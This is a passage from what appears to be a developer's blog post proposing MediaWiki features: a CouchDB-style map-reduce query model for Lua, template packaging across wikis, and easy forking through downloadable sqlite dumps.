Much of the CouchDB marketing material is aimed around their local data eventual consistency replication story. Which is cool and all but not what I'm interested in here. A good starting point for how their data model works is their documentation on views. To be clear, I'm not neccesarily suggesting using CouchDB, just that its data model seems like a good match to the requirements.

CouchDB is essentially a document database based around the ideas of map-reduce. You can make views which are similar to an index on a virtual column in mysql. You can also make reduce functions which calculate some function over the view. The interesting part is that the reduce function is indexed in a tree fashion, so you can efficiently get the value of the function applied to any contiguous range of the rows in logrithmic time. This allows computing aggregations of the data very efficiently. Essentially all the read queries are very efficient. Potentially write queries can be less so but it is easy to build controls around that. Creating or editing reduce functions is expensive because it requires regenerating the index, but that is expected to be a rare operation and users can be informed that results may be unreliable until it completes.

In short, the way the CouchDB data model works as applied to MediaWiki could be as follows:

  • There is an emit( relationName, key, data) function added to lua. In many ways this is very similar to adding a page to a category named relationName with a sortkey specificed by key. data is optional extra data associated with this item. For performance reason, there may be a (high) limit to the max number of emit() on a page to prevent DB size from exploding.
  • Lua gets a function query( relationName, startKey, endKey ). This returns all pages between startKey and endKey and their associated data. If there are more than X (e.g. 200) number of pages, only return the first X.
  • Lua gets a queryReduced( relationName, reducerName, startKey, endKey ) which returns the reduction function over the specified range. (Main limitation here is the reduce function output must be small in size in order to make this efficient)
  • A way is added to associate a lua module as a reduce function. Adding or modifying these functions is potentially an expensive operation. However it is probably acceptable to the user that this takes some time

All the query types here are efficient. It is not as powerful as arbitrary SQL or semantic queries, but it is still quite powerful. It allows computing fairly arbitrary aggregation queries as well as returning results in a user-specified order. The main slow parts is when a reduction function is edited or added, which is similar to how a template used on very many pages can take a while to update. Emiting a new item may also be a little slower than reading since the reducers have to be updated up the tree (With possibly contention on the root node), however that is a much rarer operation, and users would likely see it as similar to current delays in updating templates.

I suspect such a system could also potentially support intersection queries with reasonable efficiency subject to a bunch of limitations.

All performance limitations are pretty easy for the user to understand. There is some max number of items that can be emit() from a page to prevent someone from emit()ing 1000 things per page. There is a max number of results that can be returned from a query to prevent querying the entire database, and a max number of queries allowed to be made from a page. The queries involve reading a limited number of rows, often sequential. The system could probably be sharded pretty easily if a lot of data ends up in the database.

I really do think this sort of query model provides the sweet spot of complex querying but predictable good performance and would be ideal for a MediaWiki site running at scale that wanted SMW style features.

As a knowledge collection tool

Wikipedia can't do everything. One thing I'd love to see is better integration between different MediaWiki servers to allow people to go to different places if their content doesn't fit in Wikipedia.

Template Modularity/packaging

Anyone who has ever tried to use Wikipedia templates on another wiki knows it is a painful process. Trying to find all the dependencies is a complex process, not to mention if it relies on WikiData or JsonConfig (Commons data: namespace)

The templates on a Wiki are not just user content, but complex technical systems. I wish we had a better systems for packaging and distributing them.

Even within the Wikimedia movement, there is often a call for global templates. A good idea certainly, but would be less critical if templates could be bundled up and shared. Even still, having distinct boundries around templates would probably make global templates easier than the current mess of dependencies.

I should note, that there are extensions already in this vein. For example Extension:Page_import and Extension:Data_transfer. All of them are nice and all, but I think it would maybe be cooler to have the concept of discrete template/module units on wiki, so that different components are organized together in a way that is easier to follow.

Easy forking

Freedom to fork is the freedom from which all others flow. In addition to providing an avenue for people who disagree with the status quo a way to do their own thing, easy forking/mirroring is critical when censorship is at play and people want to mirror Wikipedia somewhere we cannot normally reach. However running a wiki the size of english wikipedia is quite hard, even if you don't have any traffic. Simply importing an xml dump into a mysql DB can be a struggle at the sizes we are talking about.

I think it would be cool if we made ready to go sqlite db dumps. Perhaps possibly packaged as a phar archive with MediaWiki, so you could essentially just download a huge 100 GB file, plop it somewhere, and have a mirror/fork

Even better if it could integrate with EventStream to automatically keep things up to date.


So those are my crazy ideas for what I think is missing in MediaWiki (With an emphasis on the Wikipedia usecase and not the third party use-case). Agree? Disagree? Hate it? I'd love to know. Maybe you have your own crazy ideas. You should post them, after all, your crazy idea cannot become reality if you keep it to yourself!


¹ I left out "Free", because as much as I believe in "Free Culture" I believe the free part is Wikimedia's mission but not MediaWiki's.

² To clarify, by widgets i mean buttons and text boxes. I do not mean widgets in the sense of the MediaWiki extension named "Widgets".